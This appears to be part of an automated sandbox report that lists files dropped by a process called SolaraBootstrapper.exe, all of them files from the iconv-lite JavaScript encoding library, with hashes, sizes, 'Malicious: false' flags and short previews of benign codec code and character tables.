Preview:	## Pure JS character encoding conversion [![Build Status](https://travis-ci.org/ashtuchkin/iconv-lite.svg?branch=master)](https://travis-ci.org/ashtuchkin/iconv-lite).. * Doesn't need native code compilation. Works on Windows and in sandboxed environments like [Cloud9](http://c9.io).. * Used in popular projects like [Express.js (body_parser)](https://github.com/expressjs/body-parser), . [Grunt](http://gruntjs.com/), [Nodemailer](http://www.nodemailer.com/), [Yeoman](http://yeoman.io/) and others.. * Faster than [node-iconv](https://github.com/bnoordhuis/node-iconv) (see below for performance comparison).. * Intuitive encode/decode API. * Streaming support for Node v0.10+. * [Deprecated] Can extend Node.js primitives (buffers, streams) to support all iconv-lite encodings.. * In-browser usage via [Browserify](https://github.com/substack/node-browserify) (~180k gzip compressed with Buffer shim included).. * Typescript [type definition file](https://github.com/ashtuchkin/iconv-lite/blob/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\dbcs-codec.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21415
Entropy (8bit):	4.695480882522162
Encrypted:	false
SSDEEP:	384:Kz2XanmPe6rQk8hRVVkhSdj8Wwj4asmTFZy5GlIdnRtMq7/ZxD3ayH:KzTnmPFrQkQVVc4j8Wwj4ITFZqAKnz9n
MD5:	6DECBCDFE2BA5ED5C3A75466CE94CDFC
SHA1:	4EA89EB73A2B3CC3C0CA945280BA2783FCF946BC
SHA-256:	D39BC17F93FC56AF631B00E36542488923378CCE5AD9E7DB48252CE7A1E7B1ED
SHA-512:	18D44778C434F62BF850221056D9B40348E0EEC36C2FDB86CCF0E59ED603687641A60475D8D9C9C553BBC80C8485968291F5CFFB37BCED585A831494AD39C082
Malicious:	false
Preview:	"use strict";.var Buffer = require("safer-buffer").Buffer;..// Multibyte codec. In this scheme, a character is represented by 1 or more bytes..// Our codec supports UTF-16 surrogates, extensions for GB18030 and unicode sequences..// To save memory and loading time, we read table files only when requested...exports._dbcs = DBCSCodec;..var UNASSIGNED = -1,. GB18030_CODE = -2,. SEQ_START = -10,. NODE_START = -1000,. UNASSIGNED_NODE = new Array(0x100),. DEF_CHAR = -1;..for (var i = 0; i < 0x100; i++). UNASSIGNED_NODE[i] = UNASSIGNED;...// Class DBCSCodec reads and initializes mapping tables..function DBCSCodec(codecOptions, iconv) {. this.encodingName = codecOptions.encodingName;. if (!codecOptions). throw new Error("DBCS codec is called without the data."). if (!codecOptions.table). throw new Error("Encoding '" + this.encodingName + "' has no data.");.. // Load tables.. var mappingTable = codecOptions.table();... // Decode tables: MBCS ->

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\dbcs-data.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	8291
Entropy (8bit):	5.146284980949226
Encrypted:	false
SSDEEP:	96:ZeO1igeleOWQSZuMqz7t+zOhbIy3RJ8nhBlulK2KQ+uQ515l66AzCz51nrpMZbzv:kO1kxWQSYJtbV3nYzckvlMZR/HB
MD5:	E56D3D57DF85DC818087254A8A16A699
SHA1:	1CCCEF8583AC6E070E9D911760633CA8D9F7CA8C
SHA-256:	E213F77E926605C30649EA48BCEA851D1EC063BB17FA4C2AB6D3B64853B481AC
SHA-512:	1BC7A9C76CE1F2F971978600D95F777D3B381633C6D1D0C47B224D2BB23752D095C4E4229FF83A0CEA5BA845C608BAD27D31817B55B6845C35E0821A34A51021
Malicious:	false
Preview:	"use strict";..// Description of supported double byte encodings and aliases..// Tables are not require()-d until they are needed to speed up library load..// require()-s are direct to support Browserify...module.exports = {. . // == Japanese/ShiftJIS ====================================================. // All japanese encodings are based on JIS X set of standards:. // JIS X 0201 - Single-byte encoding of ASCII + . + Kana chars at 0xA1-0xDF.. // JIS X 0208 - Main set of 6879 characters, placed in 94x94 plane, to be encoded by 2 bytes. . // Has several variations in 1978, 1983, 1990 and 1997.. // JIS X 0212 - Supplementary plane of 6067 chars in 94x94 plane. 1990. Effectively dead.. // JIS X 0213 - Extension and modern replacement of 0208 and 0212. Total chars: 11233.. // 2 planes, first is superset of 0208, second - revised 0212.. // Introduced in 2000, revised 2004. Some characters are in Unicode Plane 2 (0x2xxxx).

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	710
Entropy (8bit):	4.74427800311378
Encrypted:	false
SSDEEP:	12:uucCK5RHzFLgdrxJvnzqzmYaMmOjsm9XHMuPfsErISeXD7yCQiTJX:SBXHFgJ/fzqzmYGOjsmZIRSdYTJX
MD5:	7A13671A7FBC74C463377B3CDA863503
SHA1:	79E395B6DFAFD0AE516E18C81B828EF3DE0C76AA
SHA-256:	69607A9EE51B63333D0E7EE20A38B52E1E96652A4BBC09C701D70835FBBFE10A
SHA-512:	479FAE492896EC38035777E43DA891322CBD9108D2A9D06BE16B19EFACE2162D6DD34281DF1450D2C877EE55AFBD6818DCC3C4DC9F43940D62A429BF94362257
Malicious:	false
Preview:	"use strict";..// Update this array if you add/rename/remove files in this directory..// We support Browserify by skipping automatic module discovery and requiring modules directly..var modules = [. require("./internal"),. require("./utf16"),. require("./utf7"),. require("./sbcs-codec"),. require("./sbcs-data"),. require("./sbcs-data-generated"),. require("./dbcs-codec"),. require("./dbcs-data"),.];..// Put all encoding/alias/codec definitions to single object and export it. .for (var i = 0; i < modules.length; i++) {. var module = modules[i];. for (var enc in module). if (Object.prototype.hasOwnProperty.call(module, enc)). exports[enc] = module[enc];.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\internal.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	6115
Entropy (8bit):	4.7023357481323655
Encrypted:	false
SSDEEP:	96:xxjXzBkMDIaChyXR9HJlY5QzkK7b5MhJpBWxGDql+qiQaxd9vDMGEvvDc89yie7e:XXzBkDaChs9HJlY5QzkKH5MhJpkt1iQf
MD5:	701B0858FB6FA82101365D81D7406F04
SHA1:	6B0E421BFD6FA701D0FDB42FBF5A512778774757
SHA-256:	39D9DD0568708A23C5999FCD6C417EC64F35ECBECD37205F91C7C6B59D14D773
SHA-512:	A523014D0EF985FE644578649AA4D2BA5C192959FB7CB93995F5083813F12B8DB6689C0B81CBB5BC411E62E44B1DF9131095D14BB18C3504EB27EC7C32B4ED19
Malicious:	false
Preview:	"use strict";.var Buffer = require("safer-buffer").Buffer;..// Export Node.js internal encodings...module.exports = {. // Encodings. utf8: { type: "_internal", bomAware: true},. cesu8: { type: "_internal", bomAware: true},. unicode11utf8: "utf8",.. ucs2: { type: "_internal", bomAware: true},. utf16le: "ucs2",.. binary: { type: "_internal" },. base64: { type: "_internal" },. hex: { type: "_internal" },.. // Codec.. _internal: InternalCodec,.};..//------------------------------------------------------------------------------..function InternalCodec(codecOptions, iconv) {. this.enc = codecOptions.encodingName;. this.bomAware = codecOptions.bomAware;.. if (this.enc === "base64"). this.encoder = InternalEncoderBase64;. else if (this.enc === "cesu8") {. this.enc = "utf8"; // Use utf8 for decoding.. this.encoder = InternalEncoderCesu8;.. // Add decoder for versions of Node not supporting CESU-8. if (Buffer

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\sbcs-codec.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2191
Entropy (8bit):	4.872958302882698
Encrypted:	false
SSDEEP:	48:dzNyvH+G49CEqHbDKuxVyJnV/1OVEq5RMRtRTOfDSx+fEc76Qd:xsY9fubyxV/m/RMrR4DFfSQd
MD5:	6F257833A4D930EAA9AF9225FAEF16B8
SHA1:	D0C2BDE053DCE8027EFF00B2E172CBED45579E6C
SHA-256:	FB511C4C70A6CB0E2A06D03E67CA88DCA9F4DA6266B909C7338E453D2ECC9FDB
SHA-512:	8285675ABD62F7174D2D94C15047B3032E616E73E885F8075B7CA073A59322C391EBD68CA3144BBEB8B06E7026600EF9C3BDE43733F25EB7D6890167D0F907A5
Malicious:	false
Preview:	"use strict";.var Buffer = require("safer-buffer").Buffer;..// Single-byte codec. Needs a 'chars' string parameter that contains 256 or 128 chars that.// correspond to encoded bytes (if 128 - then lower half is ASCII). ..exports._sbcs = SBCSCodec;.function SBCSCodec(codecOptions, iconv) {. if (!codecOptions). throw new Error("SBCS codec is called without the data."). . // Prepare char buffer for decoding.. if (!codecOptions.chars \|\| (codecOptions.chars.length !== 128 && codecOptions.chars.length !== 256)). throw new Error("Encoding '"+codecOptions.type+"' has incorrect 'chars' (must be of len 128 or 256)");. . if (codecOptions.chars.length === 128) {. var asciiString = "";. for (var i = 0; i < 128; i++). asciiString += String.fromCharCode(i);. codecOptions.chars = asciiString + codecOptions.chars;. }.. this.decodeBuf = Buffer.from(codecOptions.chars, 'ucs2');. . // Encoding buffer.. var encodeBuf = Buffer.al

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\sbcs-data-generated.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	data
Category:	dropped
Size (bytes):	32034
Entropy (8bit):	6.328773645887887
Encrypted:	false
SSDEEP:	768:j2lyKokKKZ2DVsRUdQJkEkSFnCrHmUFC5uyr:j24MKKRI/fakmU+
MD5:	78C27D9268D36644AC77B82B956F5B1F
SHA1:	8CEB7540842B7FB237391EC3C324035A3FEB7336
SHA-256:	2CF44B3F70C61C9CDD59FDA7EC085BC3180809638F208C7239688CCB90A48866
SHA-512:	AB9154847D29136D4A5E7C7B06105704E6CF42966F26066D87F8E54EB5CE49849757400A9E84E09D8F0C22FFA45F4EDF47339525F8E5DC06FD427DC85A5A3416
Malicious:	false
Preview:	"use strict";..// Generated data for sbcs codec. Don't edit manually. Regenerate using generation/gen-sbcs.js script..module.exports = {. "437": "cp437",. "737": "cp737",. "775": "cp775",. "850": "cp850",. "852": "cp852",. "855": "cp855",. "856": "cp856",. "857": "cp857",. "858": "cp858",. "860": "cp860",. "861": "cp861",. "862": "cp862",. "863": "cp863",. "864": "cp864",. "865": "cp865",. "866": "cp866",. "869": "cp869",. "874": "windows874",. "922": "cp922",. "1046": "cp1046",. "1124": "cp1124",. "1125": "cp1125",. "1129": "cp1129",. "1133": "cp1133",. "1161": "cp1161",. "1162": "cp1162",. "1163": "cp1163",. "1250": "windows1250",. "1251": "windows1251",. "1252": "windows1252",. "1253": "windows1253",. "1254": "windows1254",. "1255": "windows1255",. "1256": "windows1256",. "1257": "windows1257",. "1258": "windows1258",. "28591": "iso88591",. "28592": "iso88592",. "28593": "iso88593",. "28594": "iso88594",. "28595": "iso88595",. "28596": "iso8

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\sbcs-data.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4686
Entropy (8bit):	5.262297729359287
Encrypted:	false
SSDEEP:	96:xVYsSWJdoczNtWdU2AgpRJhGZfkfbp4gyWDEpqs:nGWFrMYgpPhGZfkfbpSLn
MD5:	336BE4EDA323A03B88D06985F15C3524
SHA1:	B22C786C5CC8A3B58F650E413F7ADE37152CD173
SHA-256:	3116C986BFF5D0B3A0D9EE1700D97AC466965A7B30D353300D408B41622604C2
SHA-512:	68C8BA39F66720A462415E372A8C0B2FBBDB85C4957E37D7A525A8726F23DE6808812BD753FCC8BA6500F8FD0AA91A532B5F8418233EC4FB2CCD626F42215B2E
Malicious:	false
Preview:	"use strict";..// Manually added data to be used by sbcs codec in addition to generated one...module.exports = {. // Not supported by iconv, not sure why.. "10029": "maccenteuro",. "maccenteuro": {. "type": "_sbcs",. "chars": "................................................................................................................................". },.. "808": "cp808",. "ibm808": "cp808",. "cp808": {. "type": "_sbcs",. "chars": "................................................................................................................................". },.. "mik": {. "type": "_sbcs",.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\big5-added.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17717
Entropy (8bit):	6.109390635315052
Encrypted:	false
SSDEEP:	384:UdWyG4Gg/Dutxccky/pqyPtayOsXO5jrzVqMgoeeJJ5guJ3i:R4ovk+nPJOsov5qEeeJJK3
MD5:	F29EDA07F68F9E3F234638D42956F9AB
SHA1:	E61B2D77A36BCE976F563F659300E06A33C9E6E9
SHA-256:	DB94DB5E5D3AB696DDB0025685CFA85DA1864839A4A26AAB2F8F86F6B8382288
SHA-512:	AC83EF6C09AF9258273B586B0B33614B6DA6759930A23BCBF1D0E5428AFC076767916BC49B04A98A1BF952B8E8F9CB0F81283D747A724AF01162DBA184079BE4
Malicious:	false
Preview:	[.["8740","....................................................."],.["8767","................................"],.["87a1","................................................................................"],.["8840",".",4,"....................................................................."],.["88a1",".............."],.["8940","...."],.["8943","."],.["8946","...."],.["894c","...................................................."],.["89a1","......"],.["89ab","...."],.["89b0","...."],.["89b5","...

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\cp936.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47320
Entropy (8bit):	5.975707024029791
Encrypted:	false
SSDEEP:	768:qHRrIrFlXsioCUVgEHFrg232EXPIOqqGBMhHoVE9OfZ+mssnXpOH:qhI5aHCU7HFrtXPgqGOxbU5E
MD5:	9EAE47ACF0B20461508FDC4506BD905E
SHA1:	22B95CE3E9743DC8DF815B8A6B9C13D1A9F7C229
SHA-256:	8225BB693EFD380279ED7280B8F8419FD069C5F018D20D5946BF187AD92C0CF7
SHA-512:	781667081C82281F69334D917C53ED81A7D283C0B7CCD5C393591790A746C9C0096265403F28555157340C69E37A340BCEE23C3E27AA0BD9A7203D5FC81FDE74
Malicious:	false
Preview:	[.["0","\u0000",127,"."],.["8140","......................................",5,"..",9,".",6,".."],.["8180",".............................................",6,"...",4,"................",4,"...",5,"........................................."],.["8240","....",4,".",8,"...........",4,"....................",11],.["8280","..................",10,"..............",4,"......",7,".",5,".",8,"................",20,".....",4,".",6,"."],.["8340",".",17,".",5,"....",10,".........."

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\cp949.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38122
Entropy (8bit):	6.187510295563581
Encrypted:	false
SSDEEP:	768:VY4aBEddk76wYCuos24JmKyOgGcIFWS5gGMY5u0v5uXV4siZoCTQtPAFRp:C4a+jjwYfodOmKyOgGcIQS5gg5r+iZo2
MD5:	D99876B274D44FC737C8495BA36B3784
SHA1:	A3A6E6F61A78B50E54947F11CE8DAEBB8756209D
SHA-256:	77A56EA83D0D94D1DC620042AD3C897F0E40814BB05C0085D3AEED0018E8A3E8
SHA-512:	308E4A1051163AA335DE4A255689C579488CB0A01EFFC4CF57392C0F429BBFCAD466F698614EBBFAE38782BD6DED091DEAB012196605CA023E26B6A1C45C900C
Malicious:	false
Preview:	[.["0","\u0000",127],.["8141",".....",4,".......",6,"...."],.["8161",".........",9,"..",5,"."],.["8181","......",18,"......",4,"..........",6,"..",5,"....",6,".............",7,"..",7,"...........",4,".......",4,"...."],.["8241","...........",7,"...",5],.["8261","......",6,"...",5,"......"],.["8281",".",7,"..",7,"...........",4,"......",10,".",5,".",17,".",7,"......",6,"..",7,".......",18],.["8341",".....",5,"...",5,".",7],.["8361",".",18,"......."],.["8381","...............",4,"............",6,"..",5,".",5,".",46,".....",6,"..",5,"...",8],.["8441","...

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\cp950.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	42356
Entropy (8bit):	5.945150159976492
Encrypted:	false
SSDEEP:	768:R69o3X4Rf9i7bwjpM+aweZjh8WcwLhYQB4nbwjTfjPMvTD3gFWCXxDJK98:4o3XK1i/Ay+aDZ4ChpBuorjk3IXxDJC8
MD5:	15D09686CE9E9BA80B3014D3161E2E7E
SHA1:	33AD3790A0660CD2B7C0C599A7F5D3C147596BEC
SHA-256:	99E2114DC4B39092617967C763F9EAEB4D8E70551AFC5884BAA3FB92827F3420
SHA-512:	6008770D8E8FCE0F18B1C5F2BC37B51908ECC75FC50D629AA505713FF5E8A934F5F9571703822DF0D22D3B6777B4192B727005E76CCEB578135A41B46C2FDE62
Malicious:	false
Preview:	[.["0","\u0000",127],.["a140","..............................................................."],.["a1a1","..............................................................",4,"............................"],.["a240","...................................",7,"....................."],.["a2a1","...............",9,".",9,".",8,"....",25,".",21],.["a340",".....",16,".",6,".",16,".",6,".",10],.["a3a1",".",25,"....."],.["a3e1","."],.["a440","..............................

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\eucjp.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41064
Entropy (8bit):	6.013263121353981
Encrypted:	false
SSDEEP:	768:WMC+35C36zZTSrW9QrABsFntp6dFW+uf0IlE50bOfoYZnkeNt9KPRr1:WMC+35C3kuW9uABOtMy0Iu50bOGeERr1
MD5:	98D5CF16FC6B791A0B2C829339766D16
SHA1:	9BEB6AFA39229A044FD6935A92CA5E997F6FAC78
SHA-256:	7C4FE279000F7E99FC7CD59AFB1DA21725DCEBDC1BABD9E3B883253A77ABB042
SHA-512:	1A923573B2D41EE7AB42BF6CD21BD17D04B8F0DFE2EBA7419000B2768BB5693C8ED5A32171A9F4E382981368C582C8409CD32A4E1067A4D4D47635C127A042C0
Malicious:	false
Preview:	[.["0","\u0000",127],.["8ea1",".",62],.["a1a1","..................................................",9,"..................................."],.["a2a1",".............."],.["a2ba","........"],.["a2ca","......."],.["a2dc","..............."],.["a2f2","........"],.["a2fe","."],.["a3b0",".",9],.["a3c1",".",25],.["a3e1",".",25],.["a4a1",".",82],.["a5a1",".",85],.["a6a1",".",16,".",6],.["a6c1",".",16,".",6],.["a7a1",".",5,"..",25],.["a7d1",".",5,"..",25],.["a8a1","................................"],.["ada1",".",19,".",9],.["adc0","......................."],.["addf",".......",4,"..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\gb18030-ranges.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2216
Entropy (8bit):	3.4322567660280536
Encrypted:	false
SSDEEP:	48:Y7U0CyxAMT6nlPZJ5kHK6TC74MUxUULKqXJU0X2VLO/wt2J8QbK:f0p2JGq6O7KK6XBYp
MD5:	4FBEC8C88ACBB1EF60A5AEBF9E8E719B
SHA1:	BFCE88FC92E98C19910FBEF1B02B85FB5D2CF2F9
SHA-256:	5A3CC11E38F05A0908442ACBF1C921D0B73F2A304FB6A9E4484E26EB1CA07D76
SHA-512:	B57A454D71E4F01D49ADC606A5C6AB5616869C54F0C3F9C30B80E7EF13A67246E9DFA5AACA06E96B0A76004CCFCA180175825141BB2A7366E65E8F7E443A43DA
Malicious:	false
Preview:	{"uChars":[128,165,169,178,184,216,226,235,238,244,248,251,253,258,276,284,300,325,329,334,364,463,465,467,469,471,473,475,477,506,594,610,712,716,730,930,938,962,970,1026,1104,1106,8209,8215,8218,8222,8231,8241,8244,8246,8252,8365,8452,8454,8458,8471,8482,8556,8570,8596,8602,8713,8720,8722,8726,8731,8737,8740,8742,8748,8751,8760,8766,8777,8781,8787,8802,8808,8816,8854,8858,8870,8896,8979,9322,9372,9548,9588,9616,9622,9634,9652,9662,9672,9676,9680,9702,9735,9738,9793,9795,11906,11909,11913,11917,11928,11944,11947,11951,11956,11960,11964,11979,12284,12292,12312,12319,12330,12351,12436,12447,12535,12543,12586,12842,12850,12964,13200,13215,13218,13253,13263,13267,13270,13384,13428,13727,13839,13851,14617,14703,14801,14816,14964,15183,15471,15585,16471,16736,17208,17325,17330,17374,17623,17997,18018,18212,18218,18301,18318,18760,18811,18814,18820,18823,18844,18848,18872,19576,19620,19738,19887,40870,59244,59336,59367,59413,59417,59423,59431,59437,59443,59452,59460,59478,59493,63789,63866,6

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\gbk-added.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1227
Entropy (8bit):	5.044163479878134
Encrypted:	false
SSDEEP:	24:rKb78DifMioZMYxTChDzC98DpFciYKl6n6ES1L8JaxbtaXuAXGEu984zEb2YLBG9:wfMrreh3CIxdl66XraXN6Y1GHt/dii
MD5:	EF78BD5DAB20DAF8C2BB6C34E5B66BFF
SHA1:	918EECCA2F76DB2AA3FE0BF8634816584BF31D78
SHA-256:	7E6E8C23D37D5819481909E4D972FBF0F35E120DDA3498DD3A0CD6B5E4932FE6
SHA-512:	3B8E3C567C5A6B538B9CFC57C199E6900D9CFDC543CFCDFCF0CD43C93E2D031CB7132067F936136E35862ADECA7DB3B2AF926F0ACD0433F22B0DCC6F90FA762F
Malicious:	false
Preview:	[.["a140",".",62],.["a180",".",32],.["a240",".",62],.["a280",".",32],.["a2ab",".",5],.["a2e3",".."],.["a2ef",".."],.["a2fd",".."],.["a340",".",62],.["a380",".",31,"."],.["a440",".",62],.["a480",".",32],.["a4f4",".",10],.["a540",".",62],.["a580",".",32],.["a5f7",".",7],.["a640",".",62],.["a680",".",32],.["a6b9",".",7],.["a6d9",".",6],.["a6ec",".."],.["a6f3","."],.["a6f6",".",8],.["a740",".",62],.["a780",".",32],.["a7c2",".",14],.["a7f2",".",12],.["a896",".",10],.["a8bc","."],.["a8bf","."],.["a8c1","...."],.["a8ea",".",20],.["a958","."],.["a95b","."],.["a95d","..."],.["a989","..",11],.["a997",".",12],.["a9f0",".",14],.["aaa1",".",93],.["aba1",".",93],.["aca1",".",93],.["ada1",".",93],.["aea1",".",93],.["afa1",".",93],.["d7fa",".",4],.["f8a1",".",93],.["f9a1",".",93],.["faa1",".",93],.["fba1",".",93],.["fca1",".",93],.["fda1",".",93],.["fe50","........

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\shiftjis.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23782
Entropy (8bit):	6.017531553224289
Encrypted:	false
SSDEEP:	384:OcKDbyVNOvQLWFycfjdVjI6VN2kW1cOxdYNjL7UujgTDE/gTD8:dKDbGMFFbZhb/IcOxgjPUPVQ
MD5:	6D542FFDF3409FD2E8BD01247777B6F7
SHA1:	E02D26E47A7B295222C3CA70015024CA163E7381
SHA-256:	02B0B120F697C48133E8B547E8DC594BC5B9F1C1799B50C2C5FF917298548558
SHA-512:	E02449D3561A4D3856C981FCC350D0836BA3E55C82DD96585E055F6E16DCFD2C1D3ECE44CF473F55924301A1143F66DD372793EDD13BA30254B2944657A3841C
Malicious:	false
Preview:	[.["0","\u0000",128],.["a1",".",62],.["8140","..................................................",9,"...."],.["8180","............................................."],.["81b8","........"],.["81c8","......."],.["81da","..............."],.["81f0","........"],.["81fc","."],.["824f",".",9],.["8260",".",25],.["8281",".",25],.["829f",".",82],.["8340",".",62],.["8380",".",22],.["839f",".",16,".",6],.["83bf",".",16,".",6],.["8440",".",5,"..",25],.["8470",".",5,"..",7],.["8480",".",17],.["849f","................................"],.["8740",".",19,".",9],.["875f","......................."],.["877e"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\utf16.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5011
Entropy (8bit):	4.8640960255878305
Encrypted:	false
SSDEEP:	96:x+reLQ49gZBccQSYQ51s1oZQlp0cERXW8dTJn8:zLQ49g5YQ5WoZQlSdRXnn8
MD5:	7AD12158AF65189B85796DE64923F031
SHA1:	D3C63CE106659F00D6F2DBB40BA4DC853FBC8703
SHA-256:	BAF708BE438EDF0FEF70A3E34619C6BE94CD53D963ACB9B2542419D5FC3BB8C8
SHA-512:	1E1B9E3FC3AA08BF48F14DE442706E14A0B0CEBE0B55575E3796BA3B7CE717D8DF7DDE1D3FF3F0F3C92997C438FB68E6A43BC15A60541AF659EA2324414D26EE
Malicious:	false
Preview:	"use strict";.var Buffer = require("safer-buffer").Buffer;..// Note: UTF16-LE (or UCS2) codec is Node.js native. See encodings/internal.js..// == UTF16-BE codec. ==========================================================..exports.utf16be = Utf16BECodec;.function Utf16BECodec() {.}..Utf16BECodec.prototype.encoder = Utf16BEEncoder;.Utf16BECodec.prototype.decoder = Utf16BEDecoder;.Utf16BECodec.prototype.bomAware = true;...// -- Encoding..function Utf16BEEncoder() {.}..Utf16BEEncoder.prototype.write = function(str) {. var buf = Buffer.from(str, 'ucs2');. for (var i = 0; i < buf.length; i += 2) {. var tmp = buf[i]; buf[i] = buf[i+1]; buf[i+1] = tmp;. }. return buf;.}..Utf16BEEncoder.prototype.end = function() {.}...// -- Decoding..function Utf16BEDecoder() {. this.overflowByte = -1;.}..Utf16BEDecoder.prototype.write = function(buf) {. if (buf.length == 0). return '';.. var buf2 = Buffer.alloc(buf.length + 1),. i = 0, j = 0;.. if (this.overflowByt

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\utf7.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9215
Entropy (8bit):	4.79983678990615
Encrypted:	false
SSDEEP:	192:kh8t8oEywQ+OpVwnHLj9ZiK/Cyb6Mu0qB8k5yXwe+a:Ae8wHCnHLj69QqB7eT
MD5:	CF6746C76930FE21A716EF03D700B208
SHA1:	5DACC76C685AEDA5C4890D5F8D8E7AABDD852161
SHA-256:	C814AD268D19265CCAFC9F7BBA2E8DFCDD2AFDEA62698BB24B7284B3F2EA18A0
SHA-512:	A65BFF8CDF7A8EEEE08F4883FC81138019E3D500A3031C869491C13EB54E218881E8EAD2417DA3178743B367B2938ED7AE13803E6CD18011D7A339ED81DA66D3
Malicious:	false
Preview:	"use strict";.var Buffer = require("safer-buffer").Buffer;..// UTF-7 codec, according to https://tools.ietf.org/html/rfc2152.// See also below a UTF-7-IMAP codec, according to http://tools.ietf.org/html/rfc3501#section-5.1.3..exports.utf7 = Utf7Codec;.exports.unicode11utf7 = 'utf7'; // Alias UNICODE-1-1-UTF-7.function Utf7Codec(codecOptions, iconv) {. this.iconv = iconv;.};..Utf7Codec.prototype.encoder = Utf7Encoder;.Utf7Codec.prototype.decoder = Utf7Decoder;.Utf7Codec.prototype.bomAware = true;...// -- Encoding..var nonDirectChars = /[^A-Za-z0-9',-\.\/:\? \n\r\t]+/g;..function Utf7Encoder(options, codec) {. this.iconv = codec.iconv;.}..Utf7Encoder.prototype.write = function(str) {. // Naive implementation.. // Non-direct chars are encoded as "+<base64>-"; single "+" char is encoded as "+-".. return Buffer.from(str.replace(nonDirectChars, function(chunk) {. return "+" + (chunk === '+' ? '' : . this.iconv.encode(chunk, 'utf16-be').toString('base64').

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\lib\bom-handling.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1109
Entropy (8bit):	4.6422103165542135
Encrypted:	false
SSDEEP:	24:vV55erOVEJPASyl6ZSQtNOovWmzkALvNF8lG8:vVberOVEdASyl6ZVtNOKWmzkAZ2lG8
MD5:	7B3D4519F05BF0CC8D70A4D950C72C55
SHA1:	5C6518CE3ACC35C3E1DA961BC02C110E08F81DB2
SHA-256:	C230D25D8E7FBB50960C634B636B71327C409E9A77E67FE9446B566BDCEA362D
SHA-512:	BD62DF0406AF2F67D45FC418FAEC70D6D63F58112704CFDF9A28BC633696043554A09048E69ABBB4E3DDE653D85F9D64E9D0D5C0117C7D9D404914DA5323FC07
Malicious:	false
